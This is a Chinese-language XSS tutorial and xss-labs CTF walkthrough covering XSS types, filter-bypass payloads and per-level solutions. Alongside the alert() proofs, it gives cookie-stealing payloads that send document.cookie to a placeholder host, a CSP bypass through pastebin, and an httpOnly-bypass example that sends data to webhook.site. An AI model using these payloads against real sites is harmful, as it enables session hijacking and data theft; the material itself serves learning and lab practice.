Last updated on September 27, 2024 am
XSS平台
XSS基础
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。
能够让我们输入的前端代码在页面中显示时,就会起作用
1 2 3 4 5 6 7 8 9 10 <form> Name:<input name="name" > </form><?php if (isset ($_GET ['name' ])){ echo "Name:" .$_GET ['name' ]; }?>
查看页面源码,可以看到插入的代码在页面中显示出来
三种XSS漏洞
最终目的都是使插入的js代码能够显示在html页面
反射型 XSS
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数 中。
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
存储型XSS
存储型XSS漏洞与反射型XSS相比,不需要控制请求参数,只需把XSSpayload存入数据库里,下次再访问时让程序从数据库来取出来展示即可。最常见例子是留言板,如果每个网站的留言板没有做过滤,直接把用户输入的内容原样记录下来,那么其他任何访问到这个网站的用户都会触发这个漏洞,执行到XSSpayload中的代码。
DOM型XSS
DOM型XSS漏洞算是反射型漏洞的一种,开发者将用户的输入作为JS或者HTML代码给执行了。
例如
1 2 var name=document.URL . indexOf("name=" ) +5 ; document.write(decodeURL(document .URL.substring (name ,document .URL.length ) ));
代码会将name的值直接写到页面
XSS构造
script标签测试
1 <script > alert(1)</script >
不能直接插入script标签去进行XSS,则需要借助其他标签
1 2 3 4 5 6 7 8 9 10 11 12 13 <img src ='xxxx' onerror ='alert(1)' > #src随意写一个图片地址,则会触发onerror <img src ='xxxx' onload ='alert(1)' > #资源加载时会被执行 <img src ='xxxx' onmouseover ='alert(1)' > #鼠标略过这个元素时会被执行 <img src ='xxxx' onfocus ='alert(1)' > #页面焦点聚集到这个元素时执行 窃取cookie的几种方式: <script>new Image().src ="http://ip:port/" +document.cookie</script> #获取cookie, < img src =x onerror =window.open('http://ip:port/'+document.cookie)> <script>document.location ="http://ip:port?cookie=" +encodeURIComponent(document.cookie)</script> #+很多时候要url编码 <linktype ="text/css" href="http://[%YOUR_HOST%]/some_redirect"> #http还可以换成gopher协议进行ssrf javascript伪协议 <a href=javascript:alert(1)>Link</a> <a href=javascript://123alert(1)>Link</a> window.location = 'javascript:alert(1)'
让访问者去访问指定的路径然后把访问结果带给webhook
1 fetch(`/flag`) .then (t =>t.text() ).then (t =>location =`https://webhook/?f =`+encodeURIComponent(t) )
一些payload可以直接用hackbar生成
内容安全策略限制时,<script src=url>
,url
只能是指定的url
1 <meta http-equiv ="Content-Security-Policy" content ="script-src https://hcaptcha.com https://*.hcaptcha.com https://pastebin.com" >
<script src=>
以https://pastebin.com
为跳板窃取cookie:
在https://pastebin.com
写location='https://webhook.site/116a7075-66f8-41d3-8eb8-7c47d3710343/?cookie='+document.cookie
<script src=https://pastebin.com/dl/EgJQ6Nqj>
xss靶场wp
xss-labs/level1.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
1 2 3 $str = $_GET ["name" ];echo "<h2 align=center>欢迎用户" .$str ."</h2>" ; 这里name 直接作为参数放到html标签中,没有做任何的过滤和检查,存在明显的 XSS 漏洞。
1 2 3 4 5 6 window.alert = function() { confirm("完成的不错!" ) window.location.href= "level2.php?keyword=test" } 重写alert,当触发alert时会通关
exp:name=<script>alert('aaa')</script>
xss-labs/level2.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <input type=submit name=submit value="搜索"/> </form> </center><center><img src=level2.png></center> <h3 align=center>payload的长度:25</h3></body> </html>
两处html标签直接用到了参数内容,但有一处被转义了
只能借用<input>标签"><script>alert(1)</script>"
xss-lab/level3.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level4.php?keyword=try harder!" ; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1><?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" ."<center> <form action=level3.php method=GET> <input name=keyword value='" .htmlspecialchars ($str )."'> <input type=submit name=submit value=搜索 /> </form> </center>" ;?> <center><img src=level3.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
htmlspecialchars($str)
对参数进行了html转义,所以不能含有<>
可以使用onfocus配合javascript 伪协议来执行javascript 代码onfocus=javascript:alert()
,之后要点击一些文本框
1 2 'onfocus=javascript:alert() '<input name =keyword value ='' onfocus =javascript:alert() ''>
使用onmouseover='alert()'来构成xss,鼠标要移动到文本框
1 <input name =keyword value ='' onmouseover ='alert()' >
xss-lab/level4.php
1 2 "onfocus=javascript:alert() "<input name =keyword value ="" onfocus =javascript:alert() "">
xss-lab/level5.php
1 2 3 4 5 ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("<script" ,"<scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center>
script,on都被过滤,借助href
1 2 "><a href =javascript:alert() > hhh</a > "<input name =keyword value ="" > <a href =javascript:alert() > hhh</a > "">
xss-lab/level6.php
1 2 3 4 5 6 7 8 ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str2 =str_replace ("<script" ,"<scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center>
没有转小写,可以大写绕过
1 2 "Onfocus=javascript:alert() <input name =keyword value ="" Onfocus =javascript:alert() ">
xss-lab/level7.php
1 2 3 4 5 6 7 8 ini_set ("display_errors" , 0 );$str =strtolower ( $_GET ["keyword" ]);$str2 =str_replace ("script" ,"" ,$str );$str3 =str_replace ("on" ,"" ,$str2 );$str4 =str_replace ("src" ,"" ,$str3 );$str5 =str_replace ("data" ,"" ,$str4 );$str6 =str_replace ("href" ,"" ,$str5 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center>
1 2 3 双写绕过 "Oonnfocus=javascript:alert() <input name =keyword value ="" onfocus =java:alert() ">
xss-lab/level8.php
1 2 3 4 5 6 7 8 9 10 11 12 ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ,"scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );$str7 =str_replace ('"' ,'"' ,$str6 );echo '<center> <form action=level8.php method=GET> <input name=keyword value="' .htmlspecialchars ($str ).'"> <input type=submit name=submit value=添加友情链接 />
1 2 3 编码绕过 href有属性自动Unicode解码,如果注入点再href中,可以进行unicode编码 将javascript:alert()进行unicode编码:j a v a s c r i p t : a l e r t ( )
xss-lab/level9.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ,"scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );$str7 =str_replace ('"' ,'"' ,$str6 );if (false ===strpos ($str7 ,'http://' )) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>' ; }else { echo '<center><BR><a href="' .$str7 .'">友情链接</a></center>' ; }?>
1 2 3 必须含有http: j ;a ;v ;a ;s ;c ;r ;i ;p ;t ;: ;a ;l ;e ;r ;t ;( ;'http://' )
xss-lab/level10.php
1 2 3 4 5 6 7 8 9 10 ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align =center > 没有找到和".htmlspecialchars($str)."相关的结果.</h2 > ".'<center > <form id =search > <input name ="t_link" value ="'.'" type ="hidden" > <input name ="t_history" value ="'.'" type ="hidden" > <input name ="t_sort" value ="'.$str33.'" type ="hidden" >
1 2 3 过滤了 < > ,keyword被html转义,结果还被隐藏 源码可以看到t_sort有XSS漏洞 t_sort="onfocus=javascript:alert() type=" text ""
xss-lab/level11.php
1 2 3 4 5 6 7 8 9 10 11 12 ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_SERVER ['HTTP_REFERER' ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_ref" value="' .$str33 .'" type="hidden">
注入点在referer,可以通过bp抓包修改
1 Referer:"onfocus=javascript:alert() type="text""
xss-lab/level12.php
查看源码,发现注入点在user-agent,通过bp抓包修改
1 User-Agent:"onfocus=javascript:alert() type="text""
xss-lab/level13.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php setcookie ("user" , "call me maybe?" , time ()+3600 );ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_COOKIE ["user" ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_cook" value="' .$str33 .'" type="hidden"> </form> </center>' ;?>
cookie作为注入点,bp抓包修改cookie
1 Cookie:"onfocus=javascript:alert() type="text""
xss-lab/level14.php
Exif xss
Exif 可交换图像文件格式,是专门为数码相机的照片设定的,可记录数码照片的属性信息和拍摄数据。
有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发payload
例如网站EXIF Data Viewer
14关用的网站是http://ww1.exifviewer.org/ ,没有梯子是访问不了的,可以换成EXIF Data Viewer ,
这样就可以exif xss
将上面的图片上传即可触发
xss-lab/level15.php
1 2 3 4 5 <?php ini_set ("display_errors" , 0 );$str = $_GET ["src" ];echo '<body><span class="ng-include:' .htmlspecialchars ($str ).'"></span></body>' ;?>
注入点在参数src
ng-include 其作用相当于php的include函数。
1 2 3 4 5 6 7 特别值得注意的几点如下: 1. ng-include ,如果单纯指定地址,必须要加引号 2.ng-include ,加载外部html,script标签中的内容不执行 3.ng-include ,加载外部html中含有style标签样式可以识别
1 src='level1.php?name=<img src =2 onerror =alert() > '
xss-lab/level16.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ," " ,$str );$str3 =str_replace (" " ," " ,$str2 );$str4 =str_replace ("/" ," " ,$str3 );$str5 =str_replace (" " ," " ,$str4 );echo "<center>" .$str5 ."</center>" ;?> <center><img src=level16.png></center><?php echo "<h3 align=center>payload的长度:" .strlen ($str5 )."</h3>" ;?>
1 2 3 <img src= 2 onerror= alert()> 基本不含以上过滤的关键字 url空格可以用%0 a代替keyword = <img%0 asrc= 2 %0 aonerror= alert()>
xss-lab/level17.php
1 2 3 4 <body > <h1 align =center > 欢迎来到level17</h1 > <embed src =xsf01.swf?a =b width =100% heigth =100% > <h2 align =center > 成功后,<a href =level18.php?arg01 =a&arg02 =b > 点我进入下一关</a > </h2 > </body >
<embed>
标签就是引入一个swf文件
到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可能可以利用
不知为何swf文件并没有引入
没有引号闭合,按道理是在第二个参数前面加一个空格和src 分隔开
1 ?arg01 =a&arg02= onmouseover =alert(1)
应该对的,但是结果没有alert()
xss-lab/level18.php
只是换了个插件,其他同17关
xss-lab/level19.php
xss-lab/level20.php
19,20有双引号闭合,而且用了htmlspecialchars(),对字符进行实体转义,还是flash插件的xss,太复杂不会
一些XSS技巧
<script>alert(1)</script>
若<>被转义,则寻找为被转义的注入点
都被转义,可以使用onfocus配合javascript 伪协议来执行javascript 代码onfocus=javascript:alert()
或者onmouseover='alert()'
on 被转义,可以大写绕过On,或借助<a>标签<a href=javascript:alert()>hhh</a>
以上被过滤,可以用<img src=2 onerror=alert()>
href有属性自动Unicode解码,如果注入点再href中,可以进行unicode编码
要求含有某些字符,可以将字符放在alert里边
exif xss 一般就是将文件详细信息修改成xss语句上传
ng-include 可以配合scr onerror 'level1.php?name=<img src=2 onerror=alert()>'
空格绕过
1 2 <svg/onload =alert(123)> <svg%0conload =alert(123)>
/绕过
1 window .location .href.substring(7 ,8 )
httpOnly 绕过
具有httponly属性的cookie不能被JavaScript 修改,例如使用Document.cookie
,只能在服务器上修改
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
httpOnly 使得cookie不能够通过document.cookie等直接获取
一般是通过让服务器自己输出cookie,然后再把cookie发出来
例子
1 2 3 4 5 6 7 8 9 <svg%0conload =fetch(window .location.href.substring (0 ,7 )%2b "idek-hello.chal.idek.team:1337" %2bwindow .location.href.substring (6 ,7 )%2b "info.php" %2bwindow .location.href.substring (6 ,7 )%2b "index.php" ).then (function (response){ response.text ().then (function (txt){ txt.split('\n' ).forEach(function (line){ if (line.indexOf("FLAG" )!=-1 ){ fetch("https:" %2bwindow .location.href.substring (5 ,7 )%2b "webhook.site" %2bwindow .location.href.substring (6 ,7 )%2b "b7aa3086-6e7d-47a3-aba4-83a7ac8dc26f?resp=" %2bline ) } }) }) })>
参考资料
https://ctf-wiki.org/web/xss/
https://github.com/do0dl3/xss-labs